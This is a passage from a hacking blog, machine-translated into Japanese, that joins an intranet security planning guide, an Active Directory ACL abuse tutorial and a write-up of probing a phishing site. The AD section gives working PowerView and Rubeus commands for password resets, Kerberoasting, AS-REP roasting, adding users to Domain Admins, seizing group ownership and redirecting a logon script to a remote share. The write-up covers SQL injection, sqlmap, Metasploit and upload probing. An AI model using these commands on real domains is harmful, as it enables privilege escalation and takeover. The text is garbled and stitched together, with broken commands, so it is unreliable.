Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863112505

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

一般的な規定

まず、ここでのイントラネットには、ネットワークトポロジの計画、アプリケーションのリリース、アクセス制御などの基本的なネットワーク計画が含まれておらず、アイデンティティ認証モードとアクセス制御のシナリオモードを推奨しています。イントラネットのセキュリティ制御の3つの要素またはリスク評価に戻ると、要素をスキャンすることから始めることで、管理と制御作業のアイデアをよりよく反映できます。

リスク評価の3つの要素:

- 資産:すべてのIT資産と無形資産(データと評判を含む);

- 脅威:これは一般に、潜在的に有害な行動と、内部および外部で直面する力を指します。

- 脆弱性:これは主に抜け穴やその他の隠された危険を指します。

資産

別の観点から、イントラネットセキュリティの最初のステップが資産を収集、整理、分類することである理由がわかります。実際、このステップは最も複雑です。一般的に、企業は開始時に安全に焦点を合わせません。彼らは、安全に注意を払い始め、特定の段階に発展するまで独自の安全部門を設立し始めたに違いありません。緊急消防に加えて、促進する最初のステップは、資産を収集し、資産を分類し、資産を管理することです。異なる資産に対して異なるセキュリティ戦略を実装する必要があることに注意することが特に重要です。 OA、ファイナンス、ドメイン制御などの重要なシステムには、機密データまたはイントラネット許可コレクションがある場合があるため、特別に保護されている必要があり、最も厳格な管理措置を実装する必要があります。ただし、仮想化ホストプールをテストする場合、それらが分離されている場合、セキュリティ基準のタイプは必要ありません。

資産発見を実装するための技術ソリューション:

- 収集された最も元のデータには(IP、ドメイン名、URLなど)が含まれます。

- ビジネス関連の情報(資産の所有権と運用および保守担当者、資産使用目的など)を収集します。

- 上記のデータを使用して、イントラネットで検出および検出してアクティブドメイン、IP、URLなどを発見し、ドメイン名のさまざまな分析を行い、サブドメイン名、レコード、CNAMEなどを取得する(DNS、PDNS)。

- すべてのレベルの資産は倉庫に保存され、すべてのIPがスキャンされ、実行中のサービス、ソフトウェア、およびそのバージョン、コンポーネントとバージョン、タイトル、およびその他の関連情報を取得して、関連する所有者が倉庫に入るようにチェックします。

- 上記の情報を管理して、統一された資産データベースを形成します。

資産では、管理、分類、ネットワークトポロジ計画、資産のアーキテクチャの次のステップを実行できます。ただし、後続の監査作業を容易にするために、まだいくつかの基本的なポイントがあります。

アイデンティティ認証とアクセス制御、IDと端末認証、特にWebサービスサービスとSSO Unified認証管理と同様に、PINで統一された認証を備えたアプリを使用する必要があります。

MySQLやSSHなどのサービスのアクセス制御のために、アクセス制御を実行するためにBastion Machineに頼ることが最善です。

VPNは、オフィスの場所の相互接続とモバイルオフィスに必要です。

イントラネットにNATを持っていないことが最善です。 NATがある場合は、対応するテーブルなどを変換する必要があります。

壊れやすい

ここでの脆弱性は、一般に脆弱性制御の視点に基づいています。通常、3つの問題があります。 1つ目は、脆弱性を発見する方法、脆弱性を修正する方法、およびその後の制御問題を発見する方法です。この脆弱性制御プロセスは、閉鎖ループを形成し、脆弱性または脆弱性の問題を効果的に解決するために、リアルタイムまたは準リアルタイムモニタリングを実現するよう努力する必要があります。

脆弱性を発見します

脆弱性情報を収集します

業界のレポートと抜け穴情報に注意してください

掘って自分自身を蓄積します

古い脆弱性の知識ベースを確立します

脆弱性検出:

コマーシャルミススイープ製品を購入します(大規模なエリアカバレッジ検出に適しています)

オープンソース製品を活用する(独自のPOCの蓄積に焦点を当てる)

自己開発の逃したスキャンエンジン(独自のPOCの蓄積に焦点を当てる)

脆弱性を修正:

アップグレードまたはパッチ修正(オープンソースコンポーネントまたは購入した製品に適しています)

コードレベルの修理(自己開発製品用)

その他の緩和策:ファイアウォール、WAFなど(まだ適切な解決策がない脆弱性について)

脆弱性クローズドループ:

脆弱性の発見、通知、修理は最初のステップにすぎません。

脆弱性の再テストと確認は閉鎖されました

再発を回避するための定期的な監視

教育と安全標準化の促進(安全訓練、安全システム、SDLメカニズム)

脅威

ここでの脅威には、内部および外部の脅威が含まれます。外部の脅威は一般的であり、すべての攻撃がカウントされ、一般的な内部攻撃もカウントされます。ただし、機密情報、機密文書(入札、引用、雇用書類、契約)、および知的財産資産(コード、特許、技術ソリューションなど)の漏れがあることに注目する価値のある別のタイプの人々がいます。 DLPモニタリングに加えて、GitHub、さまざまなネットワークディスク、コードホスティングプラットフォーム、クラウドプラットフォームを監視して、独自の利益を保護する必要もあります。ここでは、アクティブディフェンス(攻撃防衛など)を導入することはありません。当面は、外部の世論の安全性を考慮しません。したがって、イントラネットのIDS/IPSシステムを確立することも非常に必要です。確立する必要がある能力には、2つのポイントが必要です。最初に、事前に、処理アラーム中、および後処理緊急監査です。

トラフィックフルミラーバックアップシステム(ネットミラー、スカイアイ、SOC製品)

ログコレクションプラットフォーム(各端末で、ログが構成され、ログが収集、要約、ソート、分析、保持)オープンソース製品はELKシステムから学習できます

自動ログ、トラフィック分析アラームプラットフォーム、通知システム

脅威への少し追加

監査について言いたいです。 ACLテクノロジーを使用したIPに基づくアクセス制御は安価ですが、動的な変更と互換性がある能力がありません。アイデンティティと端末認証に基づいたアクセス制御、およびそのログ保持は、その後の監査、追跡、および説明責任にとって非常に重要です。

要約

上記の3つすべてについて、新しく確立されたセキュリティ部門で最も重要な2つのものは、Trinityシステムを確立し、資産を収集し、最も基本的な管理と運用基準を確立し、脆弱性スキャンシステムを統合することです(脆弱性の取り扱いのための閉ループを確立する)。同時に、脅威インテリジェンスを組み合わせて内部および外部のセキュリティインシデントを監視し、タイムリーな方法と余波でそれらに対処します。 Trinityシステムを確立した後、イントラネットセキュリティ戦争の最も基本的な素材の基礎は十分に構築され、これらの武器と機器のみでのみイントラネットセキュリティ戦争が本当に始まることができます。

イントラネットセキュリティ操作

イントラネットセキュリティ操作とは、会社の内部生産オフィスネットワークを指します。一般的に、従来の企業は、生産ネットワーク(産業制御ネットワーク)を指し、オフィスネットワークは一般に、企業の内部システム(ドキュメントサーバー、OAシステム、金融、特許、人事、その他のビジネスシステム)および従業員のオフィスコンピューターネットワークを指します。インターネットまたはITエンタープライズの場合、生産ネットワークは一般に外部の世界(公式ウェブサイト、メインサイト、CDNなど)にのみサービスを提供し、オフィスネットワークは従来の企業と一致しており、テストネットワークはテスト環境の開発に使用されるネットワークを指します。インターネットまたはITエンタープライズの3つのネットワークを分離することをお勧めします。

生産ネットワークセキュリティ操作

生産ネットワークの場合、採用された運用戦略はオフィスイントラネットの戦略と似ていますが、ビジネスのアイデアは異なります。第一に、生産ネットワークは企業のライフラインであり、金融機関が主催するオフィスネットワークと同様に、ビジネスを分解することはできません。したがって、まず第一に、ビジネスの可用性とビジネスデータの確保を検討してください。ダブルコピーシステムまたは複数のシステムを達成することをお勧めします。見つかった脆弱性については、まだオンラインでサービスを提供していないバックアップノードを修復することが優先されます。修理が成功した後、メインノードとバックアップノードが交換され、元のメインノードと現在のバックアップノードが修復されます。さらに、生産ネットワークは最も安定している必要があります。ビジネスに必要なポートのみを外部から開設する必要があります。オフィスネットワークから内部的にアクセスした生産ネットワークは、完全な認証と監査を実現するために、要塞マシンに渡す必要があります。

オフィスイントラネットセキュリティ操作

Office Intranetの場合、高防御ゾーンを形成する必要があります。 AD、DHCP、DNS、OA、電子メール、ERP、CRM、特許、財務、採用、法律問題、投資、ドキュメント、IMコミュニケーション、Wiki、プロジェクト、バージョンコントロールなどの主要な敏感なシステムは、ハイディフェンスゾーンに配置する必要があります。ログを完全に収集し、監査と早期警告監視を確保し、これらのシステムの保護に焦点を当てます。これらのシステムは、外部からビジネス需要ポートを開発するだけです。ゲートウェイネットワークセグメント(メンテナンスネットワーク)は、アクセス権限を個別に設定し、イントラネットロジックから分離する必要があります。基本的な従業員ホストの場合、多くのガードやバトラーなどの統一HIDS製品を装備する必要があります。これらのHIDSコントロールノードをイントラネットで操作するのが最適です。

ネットワークセキュリティ操作をテスト

一般に、テストネットワークに厳密なセキュリティポリシーの制限を実装することは推奨されませんが、テストネットワーク(Bastion Machine)のアクセス権とアクセス方法は、ホワイトリスト制御を実現するために厳密に制限する必要があり、テストサービスはオフィスネットワークと生産ネットワークに接続されていません。

安全操作の初期焦点

脆弱性とイベント処理

上記の2つは基本的に三段論法、発見とディスポスの改善wzzvrp2szxs8635.png ntexmup1mif8636.pngに過ぎません

Active Directory ACLS \ ACES許可の使用

3https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse

https://www.cnblogs.com/nice0e3/p/15879624.html

DACLとACEは、アクセス制御に関連する概念であり、オペレーティングシステムとネットワーク環境で一般的に使用されています。これらの詳細な説明は次のとおりです。

DACL(裁量的アクセス制御リスト):DACLは、特定のオブジェクト(ファイル、フォルダー、レジストリキーなど)にアクセスできる人を決定するために使用されるアクセス制御リストです。 DACLは、アクセス制御エントリ(ACE)のリストです。 ACE(アクセス制御エントリ):ACEはDACLの基本ユニットであり、オブジェクトへのアクセスを許可または拒否するために使用されます。各ACEは、セキュリティプリンシパル(ユーザー、グループ、コンピューターなど)と、セキュリティプリンシパルが持っている権限を定義します。 DACLでは、各ACEには次の情報が含まれています。

セキュリティプリンシパル(SID):アクセスが許可または拒否されているユーザー、グループ、またはコンピューターを識別する一意の識別子。アクセス許可:特定の操作または許可(読み取り、書き込み、実行など)を示します。アクセスマスク:実際に許可または拒否されている権限を指定します。補助アクセスマスク:場合によっては、他の条件または制限を指定するために使用されます。オブジェクトにアクセスすると、システムはDACLのACEに基づいて検証します。ユーザーIDとACEが要求された許可を付与するACEがある場合、アクセスが許可されます。一致するエースがない場合、またはユーザーのアイデンティティに一致するエースがあるが、エースが要求された許可を拒否した場合、アクセスは拒否されます。

ドメイン管理者のエースは次のとおりです

3jt5ucpwhi0800.png

その中で、私たちが心配している権限は次のとおりです

Genericall-オブジェクトの完全な権利(ユーザーをグループに追加するか、ユーザーのパスワードをリセット)GenericWrite-オブジェクトの属性を更新します。 (セルフメンバーシップ) - GroupGenericallに自分自身を追加する機能- オブジェクトに完全な権限を持っています(ユーザーをグループに追加したり、ユーザーのパスワードをリセットするなど)。 genericwrite-オブジェクトのプロパティ(ログインスクリプトなど)を更新します。 WriteOwner-オブジェクトの所有者を変更して、攻撃者が制御するユーザーになり、オブジェクトを引き継ぎます。 writedAcl-オブジェクトのエースを変更し、攻撃者にオブジェクトのすべての制御を許可します。 AllextendedRights-グループにユーザーを追加したり、パスワードをリセットする機能。 ForCechangePassWord-ユーザーのパスワードを変更する機能。自己(自己科学) - グループに自分自身を追加する能力。セルフメンバーシップ - この許可とは、アカウントがグループに追加できる許可を指します(特定のグループの高度なアクセス許可にACEを追加する必要があります。つまり、グループオブジェクト用です)、つまり、オブジェクトは特定のグループの自己メンバーシップアイデンティティです。

genericall

ユーザーアカウントへの一般的な権限

PowerViewツールを使用して、ユーザーの一般的な許可を表示します。

PowerShell -Execバイパス

Import-Module。\ PowerView.ps1

//ユーザーman1の広告オブジェクトのアクセス制御リスト(ACL)を取得し、「genericall」許可でアイテムをフィルタリングして返します

get -objectacl -samaccountname man1 -solveguids | ? {$ _。activedirectoryrights -eq 'genericall'}

Spotlessユーザーには、委任する一般的な許可があることがわかります。したがって、Spotlessユーザーのアクセス許可が取得されている場合、Delegateユーザーを引き継ぐことができます。

s23oldcwvcm801.png

**パスワードの変更:**パスワードを直接変更して、デリゲートユーザーを変更します。ネットユーザーusernamepassword /domain

** KerberoAsting Attack:** DelegateユーザーにSPNを設定し、SpotlessユーザーのTGTを介してすべてのサービスSTSを要求し、デリゲートユーザーのハッシュ暗号化されたSTを取得してクラックします。 #SPNを設定します

set -domainobject -credential $ creds -identity username -set @{servicePrincipalName='fake/Nothing'}

#ハッシュを取得します。\ rubeus.exe kerberost /user:username /nowrap

#SPNをきれいにします

set -domainobject -credential $ creds -identity username -clear serviceprincipalname -verbose

https://github.com/shutdownrepo/targetedkerberoast

python3 Targetedkerberost.py -domain.local -u username -p password -v

** asReproast攻撃:**認証前を無効にすることでユーザーを控えめにすることができ、その後アスレプロスト攻撃を実行できます。 set -domainobject -identity username -xor @{useraccountcontrol=4194304}}

ユーザーグループへの一般的な権限

//ドメイン管理者グループのdistinguedname値を取得する

get-netgroup「ドメイン管理者」

hzs2p51eses802.png

//ドメイン管理グループのACLを取得します

get -objectacl -ResolveGuids | ? {$ _。objectdn -eq 'cn=ドメイン管理者、cn=users、dc=vvvv1、dc=com'}

wcstoxfmdan803.png

Spotlessユーザーには、ドメイン管理者グループに一般的な許可があり、攻撃できることがわかりました。

自分自身(ユーザーの染みのない)または他のユーザーをドメイン管理グループに追加します。

ネットグループ「ドメイン管理者」のきれいな /追加/ドメイン

Active DirectoryまたはPowerSploitモジュールを攻撃に使用することもできます。

#Active Directoryモジュール付き

Add -AdgroupMember -Identity 'Domain Admins' -Members Skitless

#POWERSPLOITで

add -netgroupuser -username spotless -groupname 'domain管理者' -domain 'offence.local'

機械またはサービスアカウントへの一般的な権限

マシンアカウントまたはサービスアカウントに一般的な許可または汎用の権限がある場合は、リソースベースの制約委任攻撃の使用を検討できます。詳細については、《内网横向移动-基于资源的约束委派》を参照してください。サービスアカウントについては、上記のユーザーアカウントの攻撃方法を検討することもできます。または、シャドウクレデンシャルを使用して攻撃します。 Shadow資格情報3https://book.hacktricks.xyz/window-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials

https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapps-for-takeover-8ee1a53566ab

http://www.hackdig.com/02/hack-599160.htm

https://Shenaniganslabs.io/2019/01/28/wagging-the-dog.html

writeproperty

ユーザーグループへのwriteproperty許可

制御されたユーザーは、ドメイン管理者グループに執筆許可を持っています。

jwuwxwzr5ik804.png

このユーザーをドメイン管理グループに追加して、許可を増やすことができます。

PowerShell -Execバイパス

Import-Module。\ PowerView.ps1

add -netgroupuser -Username user -GroupName 'Domain Admins' -Domain 'vvvv1.com' '

self(selfmembership)

self(selfmembership)ユーザーグループへの権限

制御されたユーザーは、ドメイン管理者グループに自己(自己記録)許可を持っています。

yoxwfirubzc805.png

この許可は、ユーザーをグループ許可に追加し、ユーザーをドメイン管理者グループに追加してアクセス許可を増やすこともできます。

PowerShell -Execバイパス

Import-Module。\ PowerView.ps1

add -netgroupuser -Username user -GroupName 'Domain Admins' -Domain 'vvvv1.com' '

「writeproperty(自己メンバーシップ)」と「自己(自己メンバーシップ)」はどちらも自己メンバーシップに関連する属性ですが、意味が異なります。

'writeproperty(selfmembership)' :このプロパティは、オブジェクトが独自のプロパティを書き込む(変更)できることを示しています。一般的に、オブジェクトは他のオブジェクトのプロパティのみを変更できますが、独自のプロパティを直接変更することはできません。しかし、「WriteProperty(自己メンバーシップ)」プロパティが設定されると、オブジェクトは独自のプロパティを変更できます。 'self(selfmembership)' :このプロパティは、オブジェクト自体がそれがあるグループまたはコレクションのメンバーであることを示しています。「writeproperty(selfmembership)」プロパティとは異なります。 「自己(自己メンバーシップ)」プロパティは、オブジェクト自体がそのグループまたはコレクションのメンバーであることを示し、「writeproperty(selfmembership)」プロパティは、オブジェクトが独自のプロパティを変更する許可を持っていることを示します。概要:それは、オブジェクトタイプがすべてではなく、自己科学者である場合、クエリしているユーザーオブジェクトがこのユーザーグループに属していることを意味します。 「writeproperty(selfmembership)」属性は、オブジェクトをグループに追加できるように、オブジェクトに独自の属性を変更する許可を与えます。 「自己(自己メンバーシップ)」属性は、オブジェクト自体がそれが配置されているグループまたはコレクションのメンバーであり、オブジェクトをグループに追加することもできることを示します。

writeproperty(selfmembership)

writeproperty(自己メンバーシップ)ユーザーグループへの許可

制御されたユーザーは、ドメイン管理者グループにwriteproperty(自己科学者)許可を持っています。

get -objectacl -ResolveGuids | ? {$ _。objectdn -eq 'cn=ドメイン管理者、cn=users、dc=obsent、dc=local' - and $ _。itference -eq 'obsent \ spotless'}

lf5clhyqr4s806.png

この許可は、ユーザーをグループ許可に追加し、ユーザーをドメイン管理者グループに追加してアクセス許可を増やすこともできます。

ネットグループ「ドメイン管理者」のきれいな /追加/ドメイン

「writeproperty(自己メンバーシップ)」と「自己(自己メンバーシップ)」はどちらも自己メンバーシップに関連する属性ですが、意味が異なります。

'writeproperty(selfmembership)' :このプロパティは、オブジェクトが独自のプロパティを書き込む(変更)できることを示しています。一般的に、オブジェクトは他のオブジェクトのプロパティのみを変更できますが、独自のプロパティを直接変更することはできません。しかし、「WriteProperty(自己メンバーシップ)」プロパティが設定されると、オブジェクトは独自のプロパティを変更できます。 'self(selfmembership)' :このプロパティは、オブジェクト自体がそれがあるグループまたはコレクションのメンバーであることを示しています。「writeproperty(selfmembership)」プロパティとは異なります。 「自己(自己メンバーシップ)」プロパティは、オブジェクト自体がそのグループまたはコレクションのメンバーであることを示し、「writeproperty(selfmembership)」プロパティは、オブジェクトが独自のプロパティを変更する許可を持っていることを示します。概要:それは、オブジェクトタイプがすべてではなく、自己科学者である場合、クエリしているユーザーオブジェクトがこのユーザーグループに属していることを意味します。 「writeproperty(selfmembership)」属性は、オブジェクトをグループに追加できるように、オブジェクトに独自の属性を変更する許可を与えます。 「自己(自己メンバーシップ)」属性は、オブジェクト自体がそれが配置されているグループまたはコレクションのメンバーであり、オブジェクトをグループに追加することもできることを示します。

forcechangepassword

forcechangepasswordユーザーアカウントへの権限

制御されたアカウントが、ターゲットアカウントのACLに「ユーザーフォースチェンジパスワード」オブジェクトタイプであり、「拡張」許可を持つ場合、ユーザーの現在のパスワードを知らずにユーザーのパスワードをリセットできます。

PowerShell -Execバイパス

Import-Module。\ PowerView.ps1

get -objectacl -samaccountName Delegate -ResolveGuids | ? {$ _。識別reference -eq 'obsent \ spotless'}

phes33xwmxj807.png

ツールPowerViewを使用して、パスワードを変更します。

set -domainuserpassword-アイデンティティデリゲート-verbose

1drdg3mv3hi808.png

または、次のステートメントを使用します

$ c=get-credential

set -domainuserpassword -identity Delegate -AccountPassword $ c.Password -verbose

または単一行の文に要約されています

set -domainuserpassword -identity Delegate -AccountPassWord(convertto secureString '123456' -Asplaintext -force)-verbose

axawsi5kna5809.png

書き込み所有者

ユーザーグループへの書き込み所有者

攻撃が実行される前に、ドメイン管理者の所有者はドメイン管理者でした。

olmycw3q1or811.png

特定のグループのACEを列挙した後、コントロールの下にあるユーザーが「書き込み所有者」の許可を持っており、その許可が「ObjectType:all」に適用されることがわかった場合、グループの所有者を変更できます。

get -objectacl -ResolveGuids | ? {$ _。objectdn -eq 'cn=ドメイン管理者、cn=users、dc=obsent、dc=local' - and $ _。itference -eq 'obsent \ spotless'}

x2ng5xmi3sf813.png

「ドメイン管理者」オブジェクトの所有者をユーザーに変更することができます。ユーザーは「sketless」です。 「 - アイデンティティ」で指定されたSIDは、「ドメイン管理者」グループのSIDであることに注意する必要があります。

Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -Owneridentity「Spotless」-verbose

//SIDの名前Instad(HTB:リール)も使用できます

set -domainObjectOwner -Identity 'Domain Admins' -OwnerIdentity「Spotless」

genericwrite

genericwriteもアクセスマスクで識別されます。この許可は、ターゲットオブジェクトのプロパティ値を更新できます。 PowerViewのSet-DomainObjectメソッドを使用して、ターゲットプロパティの値を設定できます。

genericwriteユーザーアカウントへの許可

get -objectacl -ResolveGuids -SamacCountName Delegate | ? {$ _。識別reference -eq 'obsent \ spotless'}

制御されたユーザーSpotlessは、別のユーザー委任者に「WriteProperty」許可を持っています。この許可は、「スクリプトパス」オブジェクトタイプに適用されます。これにより、攻撃者はDelegateユーザーのログインスクリプトパスを上書きすることができます。つまり、デリゲートユーザーが次にログインすると、システムが悪意のあるスクリプトを実行します。

52jxiwltlwx815.png

set -adobject -samaccountname delegate -propertyname scriptpath -propertyvalue '\\ 10.0.0.5 \ lettherlegitscript.ps1'

DelegateユーザーのログインスクリプトフィールドがADで更新されていることがわかります。

ykplxbbaeng817.png

ユーザーグループへのgenericwriteアクセス許可

を使用すると、グループのメンバーとして新しいユーザー(自分など)を追加できます。上記の《GenericAll-对用户组的GenericAll权限》操作に似ています。

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse

#クレジットを作成します

$ pwd=convertto -securestring 'justaweirdpwd!$' -asplaintext -force

$ creds=new-object System.management.automation.pscredential( 'domain \ username'、$ pwd)

#ユーザーをグループに追加します

Add -DomaIngroupMember -Credential $ creds -Identity 'Group name' -members 'username' -verbose

#ユーザーはそうでした

これは長くてダウンしている話です。友達、そこに座って、あなた自身の軽食を持ってきてください。全文には、情報収集と征服の詳細なプロセス、およびこのタイプの詐欺のアイデアの分析と分解が含まれており、予防意識を向上させます。

0x00夢の始まり

晴れた午後でした。毎日のレンガ造りのプロセス中に会社のメールを受け取りました。

email-send

この馴染みのある言葉遣いを見て、私は下の愛着をちらっと見て、おなじみの息が私の顔に来てそれを保存しました。

email-qrcode

その後、管理者はすぐに何かが間違っていることを発見し、従業員のアカウントが盗まれたというメッセージを送信しました。メールのコンテンツを簡単に信用しないでください。元の電子メールはスパムとしてもマークされていました(最後に同様のメールが突然削除され、それが始まる前に問題が終了しました。今回は逃げられませんでした( ̄_、 ̄)。

そして、この写真はすべての夢が始まったところになりました.

0x01情報収集

0x001レビュードメイン名

開始情報は非常に限られています。最初の写真はプロットであり、プロットはすべて推測に基づいていますが、このエントリで十分です。 QRコードの情報を分析するために男を取り出しましょう。

email-qrcode-analyze-url

追加のデータはなく、Webページのリンクの文字列のみがあります。ドメイン名を見ると、口の隅が少し上昇します。最初にドメイン名を分析します:

cmd-nslookup

記事が書かれるまでドメイン名を解析することはできず、修正は非常に高速でした。幸いなことに、以前にバックアップがあり、ドメイン名は絶えず変更されました。 CDNを使用していることはわからず、すべてのトラフィックがソースステーションにありました。私はそれをチェックしました、そしてそれは香港のサーバーでした:

front-query-ip

次に、関連情報を収集するために:

cmd-whois

予想どおり、それは追加の有用な情報を使用しない3人のパーティー登録機関ですが、登録時間は非常に興味深いものです。今月、詐欺師は非常に速く動いています。次回は、彼らは相手のウェブサイトに行くためにしか見ることができません。

front-west-whois

再び西部のデジタルで、少し人気があるようです。ウェブサイトはプライバシー保護メカニズムを提供し、登録情報は一般に公開されておらず、当面は有用な情報を取得することはできません。

0x002レビューIP

今の手がかりは、以前に解析されたIPです。まず一歩一歩進んで、ポートサービスをスキャンして、より多くの情報を収集します。

cmd-nmap-port-services

はい、大丈夫です。私はいくつかの馴染みのある数字を見て、プロセスに従い続け、デフォルトのスクリプトを下ってポートサービス情報を分析しました。

cmd-nmap-default-script

匿名のFTPを検出することはなく、HTTPはトレースをサポートし、httponlyが設定されておらず、XSSを実行する機会があるため、最初に小さなノートを書き留めます。次に、古いルールは最初にデフォルトの辞書の方向ブラストであり、それでも試してみる必要があります。

cmd-nmap-ftp-brute

残りのすべてのポートを試してみましたが、予想通り、あまり得られませんでした。私はまだ基本的なパスワード強度の認識を持っているようです。さらに、以前のスキャン、ポート8888が表示されました。これは、サーバー管理ツールのパゴダパネルのデフォルトのバックグラウンド入り口であることを忘れないでください。試してみてください:

front-baota-login-pre

エントリ検証がありますが、少なくともそれが実際にパゴダパネルであることを証明しています。ただし、この爆発は不可能です。エントリURLの接尾辞は、デフォルトでは、上限と小文字の文字と数字の約8桁であり、これは8の電力から約20兆のパワーであり、かなりaldげています。後で言いましょう。次に、他の方向に移動し続けます。

0x003レビューページ

それらはすべてここにあります。コードをスキャンすることはページへのジャンプへのリンクであり、ポートも80と443を開いているため、もちろん、KangkangにアクセスするためにWebページを開く必要があります。同時に、開発者ツールを開いて小さなアクションがあるかどうかを確認する必要があります。

front-home-mobile

ああ、それはモデルも認識します。これはユーザーが非常に明確であるため、モバイル端末にカットして見てみましょう。

front-home-index

emmm .それを言う方法、それはとてもいい匂いがする。一見することはできません。私はそれを非常に模倣しています(しかし、私は本当に勇敢で、政府のウェブサイトでそれをやっています)。次に、インターフェイスによって返されたヘッダー情報を見て、Windows IIS 7.5 + ASP.NETサービスが使用されていることがわかりました。

front-home-headers

これを最初に覚えておいてください、後で抜け穴を掘り出すことは役に立ちます。インタビューの後、私はページが空であることがわかりました、そして、加工の入り口のポップアップウィンドウのみがジャンプできることがわかりました。ジャンプページは次のとおりです。

front-apply-btn

説明は非常に完全であるため、誰もが正しい番号を取得できるようにします。今すぐ申請するにはここをクリックしてください:

front-input-name-id

次に、最初に名前とID番号を使用して、個人情報を収集するためのワンストップサービスが開始されました。さらに、その隣に表示されるロードされたPNGヘッダー画像の名前に注意してください。ええと、これは開発者からのクレイジーなヒントですか?ここで情報を入力してチェックすることができます。

front-input-name-error

実際に検証があります。ブレークポイントをクリックして、ソースコードロジックを確認してください。

front-input-name-breakpoint

完全に完了する数字を確認するのは本当に面倒ですが、フロントエンドの検証はすべて紙のトラであるため、ここで民俗救済は必要ありません。ソースコード編集および開発者ツールの関数を上書きするだけで、検証関数に直接trueを返します。

front-input-name-override

次に、確認して次のステップに進みます。

front-input-bank

銀行のカード番号とパスワード、携帯電話番号を収集することです。悲しいかな、意図は非常に明白です。お金を転送して相手のパスワードを転送する必要はありません。また、何気なく記入するためのものです。同じ方法を使用して銀行カードの確認をバイパスしますが、読み込まれたスクリプトファイルの1つで興味深いものが見つかりました。

front-input-bank-js-source

開発者は、ソースコードのデバッグデータを削除することさえありません。 Alibaba Pay Interfaceは、相手のデバッグアカウントを使用するために使用されます(開発者として、生産環境でコードコメントを削除することの重要性=_=):

front-input-bank-amount

次に、次のページを入力して、名前とID番号、および銀行カードの残高を再度収集しました(ここでは、ユーザーの実際の状況やその他の未知の操作の調査です)。予想どおり、私はここに嘘をつく勇気さえありませんでした。 T_T、すぐに記入して、次のステップに進みます。

front-input-bank-amount-value

front-submit-loading

その後、ページはロードされ、継続的に更新され、他のジャンプはありません。詐欺師が動作する時間を提供することです。その後、Webページの関連する操作は、当面の間終了します。いくつかの操作手順を大まかに理解してから、他の方向を探ります。

0x02脆弱性マイニング

0x001 SQL注入

情報コレクションはほぼ完成しているので、1つずつ壊してみましょう。最もよく知られているWebページから始めます。前のページを確認する際には、多くの提出フォームと入力ボックスがあります。これは潜在的なブレークスルーポイントです。どの鉱業技術が優れているか、まず魔法のアーティファクトのげっぷを使用し、銀行カード番号とパスワードの以前の提出のフォームデータを傍受します。

burp-form-field

次に、エラーメッセージを確認するために簡単な注入を試みます。

burp-sql-inject-simple

応答はありません。基本的な検証があり、それを変更する必要があります。

burp-sql-inject-union-select

反応があり、希望を見たように見えました。返品は文字化けしていますが、相手のプログラムがそれを処理する問題であるはずです。しかし、文の構造を見ると、SQLエラーが報告されたようで、それらのいくつかを連続して試してみましたが、同じリターンも返されました。それでは、残りの複雑な作業をツールに任せ、SQLMapを取り出して実行しましょう。

cmd-sqlmap

数ラウンドのパラメーターの後、私は成功しませんでした。フィルタリングメカニズムは比較的思慮深い必要があります。次に、別のページをテストしたとき、エラーメッセージの元の意味を発見しました。

burp-sql-inject-err-res

まあ、私はまだ若すぎます、私は間違っているでしょう。プログラムは、フィールド値のSQLキーワードを特定する必要があります。さらに、以前にスキャンされたサービスには、トレース関連の脆弱性が含まれている可能性があることを思い出します。テスト後、サーバーはまだサポートされていないはずです。

burp-trace-method

それから私はもう一度それについて考えました。パスワードフィールドのデータベーステーブルフィールドを設計するときは、銀行カードのパスワードであり、誰もが6桁の数字であることを知っているため、スペース占領を減らすために低い文字桁の特性を考慮する必要があります。驚きがあるかどうかを確認するための大きな数字があります:

burp-post-mass-data

恥ずかしさは驚きのためです。特別な治療がなく、サーバー側のエラーとして直接報告されるためであるべきです。私は次々といくつかのページを変更しましたが、テスト後に大きな利益はありませんでした。シーンはかつて行き詰まっていたので、私は一時的に戦場に移動することができました。

0x002メタプロイト浸透

がついにMetasploitに来て、準備ができています、

msf-banner

IISの既知の脆弱性を最初に検索します。

msf-search-iis

たくさんあるので、最初にいくつかのマッチング条件を試してみましょう。私はあなたにここで例を挙げているので、私はそれらを1つずつ見せません:

msf-run-ektron

次に、他のいくつかのポートとサービスがあり、1つずつテストされましたが、突破口はありませんでした。パッチはすべて非常に完全だったようです。現在、それは一時的に行き止まりに閉じ込められています。 MSFに使用するモジュールはまだたくさんありますが、まだ行われていない別の重要なことがあると思います。

0x003サイトディレクトリの列挙

サイトディレクトリスキャン、この重要なことはどのように欠けているのでしょうか? Dirbusterなど、多くのツールから選択するツールがあります。ここでは、Burp Suiteのエンゲージメントツールでディスカバリーコンテンツツールを使用して、ディレクトリブラストを実行します。

burp-dirbus-menu

burp-dirbus-config

多数の内蔵辞書では使用するのに十分ですが、ネットワークリクエストが含まれ、プロセスも非常に長いです。ただし、バックグラウンドで実行でき、他のものには影響しません。これがスキャンの結果です:

burp-dirbus-sitemap

いい人と呼んでください!スキャンしなかったかどうかはわかりませんでした。出てきてショックを受けました。私は非常に多くの隠された入り口を逃しました。最初にノートを書き留めて、1つずつ探索しました。ただし、私のビジョンは、upload.aspと呼ばれるファイルにロックされずにはいられませんでした。開発者からそのような明白なヒントを言う必要はありませんでした(ヨ(▔、▔)ㄏ)。

burp-upload-get

直接アクセスするときに返品データはありませんが、メソッドが間違っているためですか?それを変更してフォームファイルデータを投稿し、再試行してください。

cmd-curl-upload-file

この方法でアップロードするのは役に立たないようです。追加の検証パラメーターなどが必要です。これまで見たことのないページをたくさんスキャンしました。今、私は戻ってページのソースコードを1つずつ分析します。

front-upload-source

案の定、ページの1つでは、このアップロードインターフェイスを呼び出すフォームが見つかりました。これは隠された要素です。ページコンテンツと組み合わせることで、ユーザーがアップロードした特定のドキュメント情報、IDカードの写真などを収集するために使用する必要があります。その後、対応するJSソースコードを見て、実際にチェックサムインターフェイスパラメーターがあります。

front-upload-js-fn

ここでこれらの機能を分析して呼び出して、ファイルをアップロードすることは難しすぎます。これは隠された形ではありません。コードを直接変更してUI(¬‿¬)を介して操作するのはとても簡単です。

front-upload-show-form

